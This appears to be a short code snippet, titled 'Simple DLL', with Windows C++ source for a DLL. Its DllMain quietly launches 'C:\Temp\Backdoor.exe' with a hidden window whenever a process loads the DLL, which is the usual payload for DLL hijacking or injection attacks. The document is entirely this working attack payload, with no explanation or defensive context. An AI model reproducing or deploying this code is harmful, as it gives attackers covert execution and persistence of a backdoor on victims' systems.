Simple DLL

Dll.cpp

#include <windows.h>
#include <stdio.h>

//////////////////////////////////////////////////////////////////////

BOOLEAN WINAPI DllMain(
    IN HINSTANCE /*hDllHandle*/,
    IN DWORD     nReason,
    IN LPVOID    /*Reserved*/)
{
    BOOLEAN bSuccess = TRUE;

    switch (nReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        STARTUPINFO si = { sizeof(STARTUPINFO) };
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
        PROCESS_INFORMATION pi;
        CreateProcess("C:\\Temp\\Backdoor.exe", NULL , NULL, NULL, FALSE, CREATE_NO_WINDOW , NULL, NULL, &si, &pi);
    }
    break;
    case DLL_PROCESS_DETACH:
    break;
    }
    return bSuccess;
}